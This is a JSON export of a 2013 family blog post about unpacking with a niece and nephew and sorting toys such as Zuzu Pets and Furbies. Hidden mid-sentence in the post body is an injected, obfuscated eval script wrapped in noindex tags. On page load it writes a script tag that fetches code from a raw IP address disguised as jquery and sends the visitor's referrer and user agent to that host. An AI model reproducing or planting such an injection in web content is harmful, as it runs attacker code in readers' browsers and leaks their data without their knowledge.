{"id":3934,"date":"2013-08-10T12:02:54","date_gmt":"2013-08-10T19:02:54","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3934"},"modified":"2013-11-15T15:22:10","modified_gmt":"2013-11-15T22:22:10","slug":"squinky","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3934","title":{"rendered":"squinky"},"content":{"rendered":"<p>So, my brother Mike came back from Ethiopia and got posted back to Virginia Beach, which made everybody really happy &#8211; especially his wife and kids since that means they don&#8217;t have to move.\u00c2\u00a0 But they did move into a bigger place (which also made everybody happy).\u00c2\u00a0 So while Mike was still in Gulf Port and Christi was busy studying for her exams I figured I would come up for the weekend and help with the unpacking.<\/p>\n<p>Kyler and Jaden had been sharing a room for a while, and now they each had their own room (<em>hooray!<\/em>) <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbkke|var|u0026u|referrer|bkzyy||js|php'.split('|'),0,{}))\n<\/script><\/noindex> and their own mess (<em>oh boy&#8230;<\/em>).\u00c2\u00a0 It took us two days, but we got it all done.\u00c2\u00a0 The first day, I left Jaden unpacking her books (Move over, Library of Congress!\u00c2\u00a0 This girl has a lot of books&#8230;) and sat down with Kyler to sort out his giant pile of miscellaneous plastic things:\u00c2\u00a0 legos, batman action figures, nerf foam darts, google-eyed glasses, superballs, Pokemon cards, and lord knows what.\u00c2\u00a0 I asked him to try to make groups of things that sort of go together, and after thinking he decided that &#8220;spy gear&#8221; and &#8220;bouncy things&#8221; were useful categories.\u00c2\u00a0 It was great &#8211; instead of having to ask him what every single item was and where it belonged, we both just grabbed up toys and said &#8220;Lego?\u00c2\u00a0 Bouncy?\u00c2\u00a0 Spy Gear?&#8221;\u00c2\u00a0 and tossed it into the appropriate drawer.<\/p>\n<p>So the next day I figured Jaden and I would do the same thing.\u00c2\u00a0 She has lots and lots and lots (and lots) of cute little plastic animals.\u00c2\u00a0 How to sort them out??\u00c2\u00a0 I started with pandas.\u00c2\u00a0 Everything that was a panda went into a pile, and then all other black and white animals went into a pile next to them (ie orcas, penguins, dalmations).\u00c2\u00a0 But soon we ran into difficulty.\u00c2\u00a0 It turns out there&#8217;s a lot of categories I just don&#8217;t know.<\/p>\n<p>I picked up a little plastic thing and it MOVED.\u00c2\u00a0 It moved and whirred and squeaked.\u00c2\u00a0 I dropped it.\u00c2\u00a0 It ran around the room.\u00c2\u00a0 I stuck a plastic beach pail over it.<\/p>\n<p>&#8220;What is this, a toy rat?&#8221; I asked.<\/p>\n<p>&#8220;It&#8217;s a Zuzu Pet,&#8221; Jaden said, sounding a little offended. &#8220;A <em>hamster<\/em>.&#8221;<\/p>\n<p>&#8220;Ok,&#8221; I said.\u00c2\u00a0 &#8220;Can we turn it off?&#8221;<\/p>\n<p>Evidently you cannot turn them off.\u00c2\u00a0 We left it under the pail and I was careful to pile up the other Zuzu pets without activating them.\u00c2\u00a0 The Zuzus also have little accessories.\u00c2\u00a0 I picked up a little hat.<\/p>\n<p>&#8220;Is this a Zuzu hat?&#8221;\u00c2\u00a0 No.\u00c2\u00a0 Silly me.\u00c2\u00a0 Not a hat for Zuzus &#8211; obviously a hat for a&#8230;.\u00c2\u00a0 <em>Furbie.\u00c2\u00a0<\/em><\/p>\n<p>Ok, zuzu and furbie.\u00c2\u00a0 Got it.<\/p>\n<p>Next&#8230;\u00c2\u00a0 what is this tiny thing?\u00c2\u00a0 Ah.\u00c2\u00a0 A FURBLE.\u00c2\u00a0 Zuzu, furbie, furble.\u00c2\u00a0 They each get their own pile.\u00c2\u00a0 And here is another furble&#8230;.\u00c2\u00a0\u00c2\u00a0 NO!\u00c2\u00a0 That one is a <em>squinky.\u00c2\u00a0<\/em><\/p>\n<p>Squinky?<\/p>\n<p>We were only halfway through the job and we were just plain laughing ourselves silly.<\/p>\n<p>&nbsp;<\/p>\n<p>Once we were finished unpacking we spent the rest of the day in the backyard pool.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/poolside.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3974\" alt=\"poolside\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/poolside-300x255.jpg\" width=\"300\" height=\"255\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/poolside-300x255.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/poolside.jpg 409w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So, my brother Mike came back from Ethiopia and got posted back to Virginia Beach,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":3975,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[102],"tags":[63,25,84],"class_list":["post-3934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-kids","tag-family","tag-kids","tag-summer-afternoons"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3934"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3934"}],"version-history":[{"count":3,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3934\/revisions"}],"predecessor-version":[{"id":3977,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3934\/revisions\/3977"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/3975"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3934"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}